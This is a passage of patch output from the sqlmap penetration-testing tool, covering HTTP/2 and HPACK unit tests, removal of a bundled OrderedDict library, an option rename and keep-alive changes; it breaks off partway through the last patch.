self.assertEqual(d._get(STATIC_LEN + 1), (b"custom-key", b"custom-value")) + self.assertEqual(d._size, 32 + len(b"custom-key") + len(b"custom-value")) + + def test_literal_without_indexing_does_not_touch_dynamic_table(self): + block = bytearray([0x00]) + encode_string(b"k") + encode_string(b"v") + d = Decoder() + self.assertEqual(d.decode(bytes(block)), [(b"k", b"v")]) + self.assertEqual(d.dynamic, []) + + def test_dynamic_table_eviction(self): + d = Decoder(max_size=40) # each 2+2 byte entry costs 32+2+2 = 36 + d._add(b"aa", b"bb") + self.assertEqual(len(d.dynamic), 1) + d._add(b"cc", b"dd") # 72 > 40 -> oldest evicted + self.assertEqual(d.dynamic, [(b"cc", b"dd")]) + self.assertEqual(d._size, 36) + + def test_dynamic_size_update_clears(self): + d = Decoder() + d._add(b"x", b"y") + d.decode(_b(0x20)) # 0x20 = dynamic table size update to 0 + self.assertEqual(d.max_size, 0) + self.assertEqual(d.dynamic, []) + + +class TestHpackEncoderRoundTrip(unittest.TestCase): + def test_roundtrip_through_decoder(self): + headers = [ + (b":method", b"GET"), + (b":scheme", b"https"), + (b":path", b"/a/b?c=d"), + (b":authority", b"example.com"), + (b"user-agent", b"sqlmap"), + (b"accept", b""), # empty value + (b"x-custom", b"\x00\x01\xff"), # non-ASCII value + ] + self.assertEqual(Decoder().decode(Encoder().encode(headers)), headers) + + def test_encoder_output_is_bytes(self): + self.assertIsInstance(Encoder().encode([(b"a", b"b")]), bytes) + + +class TestH2Response(unittest.TestCase): + def _make(self, status=200, headers=None, body=b"body"): + headers = headers if headers is not None else [(b":status", b"200"), (b"content-type", b"text/html")] + return H2Response("https://target/x", status, headers, body) + + def test_basic_fields(self): + r = self._make() + self.assertEqual(r.code, 200) + self.assertEqual(r.status, 200) + self.assertEqual(r.msg, "OK") + self.assertEqual(r.http_version, "HTTP/2.0") + self.assertEqual(r.geturl(), "https://target/x") + + def test_unknown_status_message(self): + self.assertEqual(self._make(status=799).msg, "") + + def test_pseudo_headers_stripped(self): + r = self._make() + self.assertNotIn(":status", r.info()) + self.assertEqual(r.info().get("content-type"), "text/html") + + def test_read_full_then_empty(self): + r = self._make(body=b"hello") + self.assertEqual(r.read(), b"hello") + self.assertEqual(r.read(), b"") # offset exhausted + + def test_read_in_chunks(self): + r = self._make(body=b"abcdef") + self.assertEqual(r.read(2), b"ab") + self.assertEqual(r.read(3), b"cde") + self.assertEqual(r.read(10), b"f") # asking past the end returns the remainder + self.assertEqual(r.read(10), b"") + + def test_str_header_names_accepted(self): + # headers may arrive already decoded to str (not only bytes) + r = H2Response("https://t/", 200, [("content-type", "application/json")], b"{}") + self.assertEqual(r.info().get("content-type"), "application/json") + + def test_mimetools_style_headers_list(self): + # patchHeaders() relies on a '.headers' list of "Name: value\r\n" lines being present + r = self._make() + self.assertTrue(hasattr(r.info(), "headers")) + self.assertIn("content-type: text/html\r\n", r.info().headers) + + def test_close_is_noop(self): + self.assertIsNone(self._make().close()) + + +class TestConstants(unittest.TestCase): + def test_redirect_codes(self): + for code in (301, 302, 303, 307, 308): + self.assertIn(code, REDIRECT_CODES) + self.assertNotIn(200, REDIRECT_CODES) + + def test_static_table_length(self): + self.assertEqual(STATIC_LEN, len(STATIC_TABLE)) + self.assertEqual(STATIC_LEN, 61) # RFC 7541 Appendix A + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 40a31c155cefd5aeab9300c0748edd43379e75c9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 15:26:59 +0200 Subject: [PATCH 113/165] Removing thirdparty OrderedDict --- data/txt/sha256sums.txt | 20 +++-- doc/THIRD-PARTY.md | 2 - lib/core/common.py | 2 +- lib/core/datatype.py | 2 +- lib/core/dump.py | 2 +- lib/core/settings.py | 2 +- lib/core/target.py | 2 +- lib/request/basic.py | 2 +- lib/request/connect.py | 2 +- lib/techniques/union/use.py | 2 +- thirdparty/odict/__init__.py | 8 -- thirdparty/odict/ordereddict.py | 133 -------------------------------- 12 files changed, 17 insertions(+), 162 deletions(-) delete mode 100644 thirdparty/odict/__init__.py delete mode 100644 thirdparty/odict/ordereddict.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 751527657..39bc951ef 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -89,7 +89,7 @@ c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/paylo 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef doc/THANKS.md -b6fcc489c6eaca2a7d0d031bd04fe28e6790ffe4dfd4bdf055b6dc83b992dc86 doc/THIRD-PARTY.md +8d9c49ac2c05b594c1c36a03c41cf9e3641626a94fe11d86787df4125064b6a0 doc/THIRD-PARTY.md 2af9b7a8c5f24de68f9b8b1bcf3a7f2b0e55fdb48b6545e1fc8b13f406ac97c2 doc/translations/README-ar-AR.md c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md @@ -168,15 +168,15 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -751c3bf178e91e60b25e3b01ce7636029804dd78f64e9ee0418bdb126889a7bc lib/core/common.py +f73bbb05c1cfd642e8f556f3047f8418bed07b06f555d445b6f14c03c105b87a lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py -d9ec034a6d51ab4ddde0b6aa7ed306f9e0b1336557f77d7939ba547600f9b3ae lib/core/datatype.py +771ef50ebfa72a1019f819071dcfcd249ea6bb533051e9388c14917823e1f4f3 lib/core/datatype.py f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7 lib/core/dicts.py -10d8bb671a64cc787fc2fbf2c641560b7797fccd62c4792e55dffe5efab9f544 lib/core/dump.py +b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump.py 6dd47f52082e98dc0cda6969b277b7d81c6f7c68dac4688821f873a1c65c6edf lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py @@ -189,10 +189,10 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -39884227376b9370b8ef246d791b98346a7acba146f9ca12a5bf540a252b31ba lib/core/settings.py +929603eb63f80f5547c23357e089a7a59be53140269f20f19748901ced0d1356 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py -19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py +15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py 96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py @@ -209,10 +209,10 @@ ea9b195e5f5030b96d1993c106c1e13fb5c7faaf6bdc5daacfd06ec984e7f323 lib/parse/html d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payloads.py c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py -369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py +a988c659e0c642e4f3dc4034118b5a6e138a522394ff2eda5bdc3c8495ea2207 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py -c96deaa69743d2cf4ae48f2ae0036f7e11b838f97a0e8c7f1205c61e9dd36bc1 lib/request/connect.py +f0c7f1a6cc1abc557723f24785cdc974cc22a492836384f42413a1254d8dc601 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py 3afb06089f2801d5a12458a313b278db62c17a8d8fd3b8c46f07670699119af3 lib/request/http2.py @@ -251,7 +251,7 @@ bde75d41ac3e5747b96d2af4c33922573158cb43b48714a28490d6720dd85d89 lib/techniques 14637b64878248e5965887b07aa68e62615dac88e2ffc6c3a581430bdd4e309e lib/techniques/ssti/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py -c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py +c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py @@ -726,8 +726,6 @@ e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/mag 4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py 2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py -ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py -9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py 3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py 4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index f2c10e272..b20e16309 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -270,8 +270,6 @@ be bound by the terms and conditions of this License Agreement. Copyright (C) 2024, Marcel Hellkamp. * The `identYwaf` library located under `thirdparty/identywaf/`. Copyright (C) 2019-2021, Miroslav Stampar. -* The `ordereddict` library located under `thirdparty/odict/`. - Copyright (C) 2009, Raymond Hettinger. * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. Copyright (C) 2010-2024, Benjamin Peterson. * The `Termcolor` library located under `thirdparty/termcolor/`. diff --git a/lib/core/common.py b/lib/core/common.py index ec7db6ff9..ff205d560 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -200,7 +200,7 @@ from thirdparty.clientform.clientform import ParseResponse from thirdparty.clientform.clientform import ParseError from thirdparty.colorama.initialise import init as coloramainit from thirdparty.magic import magic -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import collections_abc as _collections from thirdparty.six.moves import configparser as _configparser diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 11b45878a..f667c0cd9 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -8,7 +8,7 @@ See the file 'LICENSE' for copying permission import copy import threading -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six.moves import collections_abc as _collections class AttribDict(dict): diff --git a/lib/core/dump.py b/lib/core/dump.py index c81f52519..8b8feec0b 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -62,7 +62,7 @@ from lib.core.settings import WINDOWS_RESERVED_NAMES from lib.utils.safe2bin import safechardecode from thirdparty import six from thirdparty.magic import magic -from thirdparty.odict import OrderedDict +from collections import OrderedDict class Dump(object): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index b844d9470..8a597a476 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.5" +VERSION = "1.10.7.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index b6666807f..a74955b71 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -79,7 +79,7 @@ from lib.core.settings import XML_RECOGNITION_REGEX from lib.core.threads import getCurrentThreadData from lib.utils.hashdb import HashDB from thirdparty import six -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six.moves import urllib as _urllib def _setRequestParams(): diff --git a/lib/request/basic.py b/lib/request/basic.py index 2d72a3242..5cddbd983 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -57,7 +57,7 @@ from lib.parse.html import htmlParser from thirdparty import six from thirdparty.chardet import detect from thirdparty.identywaf import identYwaf -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client diff --git a/lib/request/connect.py b/lib/request/connect.py index a14309fa8..b31cfc2db 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -140,7 +140,7 @@ from lib.request.direct import direct from lib.request.methodrequest import MethodRequest from lib.utils.safe2bin import safecharencode from thirdparty import six -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index dc8517096..e28244c05 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -62,7 +62,7 @@ from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar from lib.utils.safe2bin import safecharencode from thirdparty import six -from thirdparty.odict import OrderedDict +from collections import OrderedDict def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted diff --git a/thirdparty/odict/__init__.py b/thirdparty/odict/__init__.py deleted file mode 100644 index 8571776ae..000000000 --- a/thirdparty/odict/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -import sys - -if sys.version_info[:2] >= (2, 7): - from collections import OrderedDict -else: - from ordereddict import OrderedDict diff --git a/thirdparty/odict/ordereddict.py b/thirdparty/odict/ordereddict.py deleted file mode 100644 index 1cdd6f46e..000000000 --- a/thirdparty/odict/ordereddict.py +++ /dev/null @@ -1,133 +0,0 @@ -# Copyright (c) 2009 Raymond Hettinger -# -# Permission is hereby granted, free of charge, to any person -# obtaining a copy of this software and associated documentation files -# (the "Software"), to deal in the Software without restriction, -# including without limitation the rights to use, copy, modify, merge, -# publish, distribute, sublicense, and/or sell copies of the Software, -# and to permit persons to whom the Software is furnished to do so, -# subject to the following conditions: -# -# The above copyright notice and this permission notice shall be -# included in all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES -# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT -# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, -# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -# OTHER DEALINGS IN THE SOFTWARE. - -try: - from UserDict import DictMixin -except ImportError: - try: - from collections.abc import MutableMapping as DictMixin - except ImportError: - from collections import MutableMapping as DictMixin - -class OrderedDict(dict, DictMixin): - - def __init__(self, *args, **kwds): - if len(args) > 1: - raise TypeError('expected at most 1 arguments, got %d' % len(args)) - try: - self.__end - except AttributeError: - self.clear() - self.update(*args, **kwds) - - def clear(self): - self.__end = end = [] - end += [None, end, end] # sentinel node for doubly linked list - self.__map = {} # key --> [key, prev, next] - dict.clear(self) - - def __setitem__(self, key, value): - if key not in self: - end = self.__end - curr = end[1] - curr[2] = end[1] = self.__map[key] = [key, curr, end] - dict.__setitem__(self, key, value) - - def __delitem__(self, key): - dict.__delitem__(self, key) - key, prev, next = self.__map.pop(key) - prev[2] = next - next[1] = prev - - def __iter__(self): - end = self.__end - curr = end[2] - while curr is not end: - yield curr[0] - curr = curr[2] - - def __reversed__(self): - end = self.__end - curr = end[1] - while curr is not end: - yield curr[0] - curr = curr[1] - - def popitem(self, last=True): - if not self: - raise KeyError('dictionary is empty') - if last: - key = next(reversed(self)) - else: - key = next(iter(self)) - value = self.pop(key) - return key, value - - def __reduce__(self): - items = [[k, self[k]] for k in self] - tmp = self.__map, self.__end - del self.__map, self.__end - inst_dict = vars(self).copy() - self.__map, self.__end = tmp - if inst_dict: - return (self.__class__, (items,), inst_dict) - return self.__class__, (items,) - - def keys(self): - return list(self) - - setdefault = DictMixin.setdefault - update = DictMixin.update - pop = DictMixin.pop - values = DictMixin.values - items = DictMixin.items - iterkeys = DictMixin.iterkeys - itervalues = DictMixin.itervalues - iteritems = DictMixin.iteritems - - def __repr__(self): - if not self: - return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, list(self.items())) - - def copy(self): - return self.__class__(self) - - @classmethod - def fromkeys(cls, iterable, value=None): - d = cls() - for key in iterable: - d[key] = value - return d - - def __eq__(self, other): - if isinstance(other, OrderedDict): - if len(self) != len(other): - return False - for p, q in zip(self.items(), other.items()): - if p != q: - return False - return True - return dict.__eq__(self, other) - - def __ne__(self, other): - return not self == other From 6514597dbb0fc544101c133b7d7a941f3397cb1c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 17:34:31 +0200 Subject: [PATCH 114/165] Minor renaming of options --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 4 ++-- lib/request/connect.py | 5 ++++- 4 files changed, 10 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 39bc951ef..0fe4720d9 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -929603eb63f80f5547c23357e089a7a59be53140269f20f19748901ced0d1356 lib/core/settings.py +47719c926f8975b57b107a698cea7ae2d43b220da38d6b9ad4055b43a560d095 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -d6ba23b8f3d40cb021de1ebe50eabf891f060df77e9643838ff8fd3850b507d0 lib/parse/cmdline.py +2b1ccf7adab06d64784639ba4db9772cc7bd3de30ad52513d4350fbf798082ed lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -212,7 +212,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site a988c659e0c642e4f3dc4034118b5a6e138a522394ff2eda5bdc3c8495ea2207 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py -f0c7f1a6cc1abc557723f24785cdc974cc22a492836384f42413a1254d8dc601 lib/request/connect.py +4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py 3afb06089f2801d5a12458a313b278db62c17a8d8fd3b8c46f07670699119af3 lib/request/http2.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8a597a476..0a021d5f4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.6" +VERSION = "1.10.7.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b12f05281..dde875d91 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -153,7 +153,7 @@ def cmdLineParser(argv=None): request.add_argument("-H", "--header", dest="header", help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") - request.add_argument("--method", dest="method", + request.add_argument("-X", "--method", dest="method", help="Force usage of given HTTP method (e.g. PUT)") request.add_argument("--data", dest="data", @@ -523,7 +523,7 @@ def cmdLineParser(argv=None): enumeration.add_argument("-C", dest="col", help="DBMS database table column(s) to enumerate") - enumeration.add_argument("-X", dest="exclude", + enumeration.add_argument("--exclude", dest="exclude", help="DBMS database identifier(s) to not enumerate") enumeration.add_argument("-U", dest="user", diff --git a/lib/request/connect.py b/lib/request/connect.py index b31cfc2db..ce59eae0c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -508,7 +508,10 @@ class Connect(object): for key, value in list(headers.items()): if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper(): - value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].lower() != "br") or "identity" + # keep only content-codings sqlmap can actually decode (see decodePage): a browser-pasted + # 'Accept-Encoding' (e.g. "gzip, deflate, br, zstd") must not make the server return a body + # we cannot read. Anything else (br, zstd, *, ...) is dropped, falling back to "identity". + value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].strip().lower() in ("gzip", "x-gzip", "deflate", "identity")) or "identity" del headers[key] if isinstance(value, six.string_types): From bd10f84a9bfdc131d5bf78de27182414bfb04215 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 18:34:03 +0200 Subject: [PATCH 115/165] Minor patch --- data/txt/sha256sums.txt | 6 +++--- lib/core/option.py | 14 ++++++++------ lib/core/settings.py | 2 +- lib/request/keepalive.py | 27 ++++++++++++++++++++++++++- 4 files changed, 38 insertions(+), 11 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0fe4720d9..1c44cdae1 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -182,14 +182,14 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 4fe3ac4c0d354d1ac42ad3f5dc1b308993588f8a249ff880d273f5031d6b52b0 lib/core/optiondict.py -98d3d61278794705c7039e40fab66a626e8d6ab765383c5379cec7a066b09301 lib/core/option.py +0235aa27d0c8cfe54180f2a003f749065d11bf167923a8189844efd45469c612 lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -47719c926f8975b57b107a698cea7ae2d43b220da38d6b9ad4055b43a560d095 lib/core/settings.py +459f3adf2d8acfe810410faea7fa5bddfc2ee0b1af284413a4a9fd1d11334047 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -219,7 +219,7 @@ a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dn 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py -d1c5e4bda94394b5bb42c3b48b41b73ecb6069c3971af2c54394c9b35c2fed6e lib/request/keepalive.py +ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py diff --git a/lib/core/option.py b/lib/core/option.py index f7d269074..135643512 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1249,10 +1249,12 @@ def _setHTTPHandlers(): handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj)) # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html - # Note: persistent (Keep-Alive) connections are used by default; '--no-keep-alive' opts out, - # and they are automatically disabled when incompatible (HTTP(s) proxy, 